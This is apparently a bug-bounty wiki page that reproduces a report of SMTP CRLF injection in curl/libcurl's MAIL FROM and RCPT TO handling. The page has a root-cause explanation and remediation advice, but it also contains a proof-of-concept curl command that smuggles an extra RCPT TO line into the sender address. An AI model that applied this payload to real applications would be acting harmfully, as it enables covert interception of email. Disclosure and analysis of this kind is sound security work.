SMTP CRLF Injection in curl/libcurl via MAIL FROM/RCPT TO parameters
curl/libcurl's SMTP implementation fails to validate CRLF characters in the MAIL FROM and RCPT TO mailbox addresses, allowing an attacker to inject arbitrary SMTP commands. An attacker could add unauthorised recipients or manipulate the SMTP conversation.
- Disclosed after under an hour
SMTP CRLF Injection Vulnerability in curl/libcurl
Vulnerability ID: CURL-SMTP-CRLF-2024
CWE-93: Improper Neutralization of CRLF Sequences
Executive Summary
curl/libcurl contains a CRLF injection vulnerability in its SMTP implementation that allows attackers to inject arbitrary SMTP commands by including CR (\r) and LF (\n) characters in mailbox addresses.
Affected Versions
- curl 8.17.0 (latest stable) - CONFIRMED VULNERABLE
- Earlier versions likely affected
Proof of Concept
# Vulnerable command - adds unauthorized recipient
curl --url "smtp://localhost:2525" \
--mail-from $'[email protected]\r\nRCPT TO:<[email protected]>' \
--mail-rcpt "[email protected]" \
--upload-file message.txt
Technical Details
Vulnerable Code Location: lib/smtp.c (lines 838-846)
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s",
from, // ← No CRLF validation
auth ? " AUTH=" : "",
auth ? auth : "",
size ? " SIZE=" : "",
size ? size : "",
utf8 ? " SMTPUTF8" : "");
Evidence from Raw Network Analysis:
HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0a
TEXT: 'MAIL FROM:<[email protected]\r\nRCPT TO:[email protected]>\r\n'
Reproduction Environment
- OS: /Linux
- curl version: 8.17.0
- Python: 3.11 (for testing server)
- Testing Method: Local SMTP server analysis
Impact
· Information Disclosure: Unauthorized email copying · Privacy Violation: Secret email interception · Access Control Bypass: Circumvents application-level restrictions · Arbitrary Command Injection: Potential for further SMTP protocol manipulation
Remediation
- Input Validation: Reject mailbox addresses containing control characters
- Character Escaping: Properly escape CR/LF sequences
- Library Patch: Implement validation similar to lib/cookie.c
References
· CWE-93: https://cwe.mitre.org/data/definitions/93.html · curl Security: https://curl.se/docs/security.html
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The SMTP command formatting function does not check or escape carriage return and line feed characters in the mailbox address before inserting it into the command string.
Impact
An attacker could add unauthorised recipients to an email, potentially disclosing information or bypassing application-level restrictions, and may manipulate the SMTP protocol further.
What the attacker needed
Attacker controls the MAIL FROM or RCPT TO address; application passes untrusted input to curl SMTP options
The fix
The library should validate mailbox addresses to reject control characters and properly escape CR/LF sequences before building SMTP commands.
How it was found
- Run a local SMTP server on port 2525 for testing.
- Send a curl SMTP request with a MAIL FROM address containing CRLF followed by an injected RCPT TO command.
- Observe the raw network traffic showing the injected command on a new line.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When curl sends an email, it builds SMTP commands like 'MAIL FROM:<address>'. If the address contains special newline characters, the email server treats the rest as a new command. This lets an attacker sneak in extra commands, such as adding another recipient to the message.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.